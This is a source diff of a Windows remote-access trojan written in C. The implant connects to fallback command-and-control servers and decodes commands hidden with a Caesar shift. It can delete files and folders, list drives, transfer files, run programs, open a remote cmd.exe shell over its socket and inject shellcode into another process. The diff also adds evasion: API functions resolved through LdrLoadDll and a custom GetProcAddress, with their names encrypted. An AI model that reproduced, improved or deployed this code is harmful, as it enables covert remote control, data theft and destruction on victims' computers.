server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp)); server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
Api.free(Tmp); Api.HeapFree(_crt_heap, 0, Tmp);
server.sin_port = Api.htons(fallback_servers_ip[serv]); server.sin_port = Api.htons(fallback_servers_ip[serv]);
@@ -173,7 +175,7 @@ retry:
//keep communicating with server //keep communicating with server
while (1) while (1)
{ {
Api.memset(server_reply, 0, BUFFER_SIZE); memset_(server_reply, 0, BUFFER_SIZE);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0) if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
@@ -183,31 +185,31 @@ retry:
goto retry; goto retry;
} }
if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file if (strncmp_(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
char* path = (char*)Api.malloc(MAX_PATH); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
Api.remove(CAESAR_DECRYPT(path)); Api.DeleteFileA(CAESAR_DECRYPT(path));
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
} }
if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
char* path = (char*)Api.malloc(MAX_PATH); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
@@ -216,178 +218,159 @@ retry:
delete_folder(wstr); delete_folder(wstr);
Api.free((LPWSTR)wstr); Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
} }
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
char* path = (char*)Api.malloc(MAX_PATH); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
struct stat fileinfo;
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
char infos = get_obj_info(CAESAR_DECRYPT(path));
int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); Api.HeapFree(_crt_heap, 0, path);
if (st != 0) { if (Api.send(sock, &infos, 1, 0) < 0) {
if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) {
//send failed //send failed
Api.free(path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
Api.free(path);
continue;
} }
time_t mtime = fileinfo.st_mtime; if (strncmp_(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
struct tm* mtime_tm = Api.localtime(&mtime); char* drives = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
char mtime_str[30];
char sizeStr[20];
Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm);
// Concatenate the file size and modified time strings separated by "/"
Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size);
int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator
char* fileInfoStr = (char*)Api.malloc(bufferSize);
Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str);
if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) {
//send failed
Api.free(path);
Api.free(fileInfoStr);
Sleep_(Sleep_TIME);
goto retry;
}
Api.free(fileInfoStr);
Api.free(path);
}
if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
char* drives = (char*)Api.malloc(MAX_PATH);
get_drives_list(drives); get_drives_list(drives);
if (Api.send(sock, drives, strlen(drives), 0) < 0) { if (Api.send(sock, drives, strlen(drives), 0) < 0) {
//send failed //send failed
Api.free(drives); Api.HeapFree(_crt_heap, 0, drives);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
Api.free(drives); Api.HeapFree(_crt_heap, 0, drives);
} }
if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute
char* arch = (char*)Api.malloc(2); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset_(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset_(&pi, 0, sizeof(pi));
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) {
Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.CreateProcessA(
NULL, // Application name
CAESAR_DECRYPT(path), // Command line
NULL, // Process security attributes
NULL, // Primary thread security attributes
FALSE, // Handles are not inherited
CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE, // Creation flags
NULL, // Use parent's environment block
NULL, // Starting directory
&si, // Pointer to STARTUPINFOW structure
&pi // Pointer to PROCESS_INFORMATION structure
);
Api.HeapFree(_crt_heap, 0, path);
}
#ifdef SHELLCODE
if (strncmp_(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
char* arch = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, 2);
if (Api.recv(sock, arch, 2, 0) <= 0) { if (Api.recv(sock, arch, 2, 0) <= 0) {
//send failed //send failed
Api.free(arch); Api.HeapFree(_crt_heap, 0, arch);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
CAESAR_DECRYPT(arch); CAESAR_DECRYPT(arch);
HANDLE hFile = CreateFileMappingW( size_t fsize = 0;
INVALID_HANDLE_VALUE, // Use the page file char *file = upload_file_to_mem(sock, &fsize);
NULL, // Default security attributes if (file == NULL) {
PAGE_READWRITE, // Read/write access
0, // Map the entire file
BUFFER_SIZE, // Size of the file (in bytes)
TEXT("idufhiu")); // Name of the file mapping object
if (hFile == NULL) {
Api.free(arch);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
upload_file(sock, hFile); HANDLE proc = NULL;
if (strncmp_(arch, "32", strlen("32")) == 0) {
// Move the file pointer back to the beginning of the file proc = FindProcessByArch(L"x86");
Api.SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
HANDLE proc;
if (Api.strncmp(arch, "32", strlen("32")) == 0) {
proc = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD)18872);//FindProcessByArch(L"x86");
} }
else { else {
proc = FindProcessByArch(L"x64"); proc = FindProcessByArch(L"x64");
} }
Api.free(arch); Api.HeapFree(_crt_heap, 0, arch);
if (proc == NULL) { if (proc == NULL) {
Api.CloseHandle(hFile); Api.HeapFree(_crt_heap, 0, file);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
// Get the size of the file LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LARGE_INTEGER fileSize;
if (!Api.GetFileSizeEx(hFile, &fileSize))
{
Api.CloseHandle(hFile);
Api.CloseHandle(proc);
Sleep_(Sleep_TIME);
goto retry;
}
LPVOID addr = Api.VirtualAllocEx(proc, NULL, (size_t)fileSize.QuadPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (addr == NULL) { if (addr == NULL) {
Api.CloseHandle(hFile); Api.HeapFree(_crt_heap, 0, file);
Api.CloseHandle(proc); Api.CloseHandle(proc);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
DWORD bytesRead; if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
char* shellcode = (char*)Api.malloc((size_t)fileSize.QuadPart); Api.HeapFree(_crt_heap, 0, file);
if (!Api.ReadFile(hFile, shellcode, sizeof(shellcode), &bytesRead, NULL))
{
Api.free(shellcode);
Api.CloseHandle(hFile);
Api.CloseHandle(proc); Api.CloseHandle(proc);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
Api.WriteProcessMemory(proc, addr, shellcode, BUFFER_SIZE, NULL); HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
if (hThread == NULL) {
Api.free(shellcode); Api.HeapFree(_crt_heap, 0, file);
Api.CloseHandle(hFile);
Api.CloseHandle(proc); Api.CloseHandle(proc);
Sleep_(Sleep_TIME);
goto retry;
} }
if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list Api.HeapFree(_crt_heap, 0, file);
char* file_list = (char*)Api.malloc(BUFFER_SIZE); Api.CloseHandle(proc);
char* path = (char*)Api.malloc(MAX_PATH); Api.CloseHandle(hThread);
}
#endif
if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
char* file_list = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(file_list); Api.HeapFree(_crt_heap, 0, file_list);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
int num_files; int num_files = 0;
file_list = get_file_list(CAESAR_DECRYPT(path), &num_files); file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
if (file_list == NULL) { if (file_list == NULL) {
Api.free(file_list); Api.HeapFree(_crt_heap, 0, file_list);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
@@ -395,50 +378,50 @@ retry:
if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
//send failed //send failed
Api.free(file_list); Api.HeapFree(_crt_heap, 0, file_list);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
} }
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
char* path = (char*)Api.malloc(MAX_PATH); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb"); HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
if (fp == NULL) if (hFile == NULL)
{ {
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
if (download_file(fp, sock) == 0) { if (download_file(hFile, sock) == 0) {
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
} }
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file if (strncmp_(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
char* path = (char*)Api.malloc(MAX_PATH); char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{ {
//recv failed //recv failed
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
goto retry; goto retry;
} }
@@ -447,20 +430,20 @@ retry:
HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file_handle == INVALID_HANDLE_VALUE) { if (file_handle == INVALID_HANDLE_VALUE) {
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
Api.free((LPWSTR)wstr); Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
return; goto retry;
} }
Api.free((LPWSTR)wstr); Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
upload_file(sock, file_handle); upload_file(sock, file_handle);
Api.CloseHandle(file_handle); Api.CloseHandle(file_handle);
Api.free(path); Api.HeapFree(_crt_heap, 0, path);
} }
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
// Set the socket as standard output and error // Set the socket as standard output and error
SECURITY_ATTRIBUTES sa; SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.nLength = sizeof(SECURITY_ATTRIBUTES);
@@ -483,7 +466,7 @@ retry:
// Create the process // Create the process
STARTUPINFO si; STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO)); memset_(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO); si.cb = sizeof(STARTUPINFO);
si.hStdError = g_hChildStd_OUT_Wr; si.hStdError = g_hChildStd_OUT_Wr;
si.hStdOutput = g_hChildStd_OUT_Wr; si.hStdOutput = g_hChildStd_OUT_Wr;
@@ -491,7 +474,7 @@ retry:
si.dwFlags |= STARTF_USESTDHANDLES; si.dwFlags |= STARTF_USESTDHANDLES;
PROCESS_INFORMATION pi; PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); memset_(&pi, 0, sizeof(PROCESS_INFORMATION));
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
SendShellEndedSignal(sock); SendShellEndedSignal(sock);
@@ -551,3 +534,23 @@ retry:
*/ */
return 0; return 0;
} }
/*
BOOL APIENTRY main(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
main_func();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
*/

View File

@@ -1,18 +1,31 @@
#include "resolve_apis.h" #include "resolve_apis.h"
#include "libc.h"
API Api; API Api;
HMODULE hWininet; HMODULE hWininet;
HMODULE hMsvcrt;
HMODULE hKernel32; HMODULE hKernel32;
void InitApis() { void InitApis() {
// Dynamic loading functions TLdrLoadDll ldr = (TLdrLoadDll)get_ntfunction(CAESAR_DECRYPT("QiwQtfiIqq"));
hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll TRtlInitUnicodeString r = (TRtlInitUnicodeString)get_ntfunction(CAESAR_DECRYPT("WyqNsnyZsnhtijXywnsl"));
wchar_t *wide = L"kernel32.dll";
UNICODE_STRING dll;
r(&dll, wide);
ldr(0, 0, &dll, (PVOID*)&hKernel32);
if (!hKernel32) { if (!hKernel32) {
return; return;
} }
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F"));
Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi"));
Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF"));
Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth"));
Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj"));
Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
@@ -25,7 +38,6 @@ void InitApis() {
Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi")); Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi"));
Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\")); Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
@@ -33,45 +45,13 @@ void InitApis() {
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\")); Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\"));
Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\")); Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\"));
Api.DeleteFileA = (TDeleteFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqjF"));
Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\")); Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\"));
Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\")); Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\"));
Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty"));
Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\"));
Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx"));
Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\"));
Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx"));
Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~")); Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~"));
Api.VirtualAllocEx = (TVirtualAllocEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("[nwyzfqFqqthJ}")); Api.VirtualAllocEx = (TVirtualAllocEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("[nwyzfqFqqthJ}"));
Api.SetFilePointer = (TSetFilePointer)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("XjyKnqjUtnsyjw"));
Api.GetFileSizeEx = (TGetFileSizeEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjXn\x7fjJ}")); //GetFileSieEx
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); hWininet = Api.LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hMsvcrt) {
return;
}
Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j"));
Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw"));
Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy"));
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) { if (!hWininet) {
return; return;
} }
@@ -88,10 +68,3 @@ void InitApis() {
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy")); Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
} }
/* Never called
void FreeApis() {
Api.FreeLibrary(hWininet);
Api.FreeLibrary(hMsvcrt);
Api.FreeLibrary(hKernel32);
}
*/

View File

@@ -3,9 +3,19 @@
#include <shlobj_core.h> #include <shlobj_core.h>
#include <TlHelp32.h> #include <TlHelp32.h>
#include <wininet.h> #include <wininet.h>
#include <winternl.h>
#include <winsock.h> #include <winsock.h>
#include "utils.h" #include "utils.h"
#ifdef _M_X64
#define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
#else
#define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
#endif
typedef NTSTATUS(NTAPI* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef HMODULE(WINAPI* TLoadLibraryA)(LPCSTR);
typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int); typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int);
typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int); typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int);
@@ -19,28 +29,8 @@ typedef int(WINAPI* TWSAGetLastError)(void);
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*); typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int); typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
typedef void* (WINAPI* Tmalloc)(size_t);
typedef void(WINAPI* Tfree)(void*);
typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
typedef char*(WINAPI* Tstrcpy)(char*, const char*);
typedef int(WINAPI* Tremove)(const char*);
typedef int(WINAPI* Trmdir)(const char*);
typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
typedef void*(WINAPI* Trealloc)(void*, size_t);
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
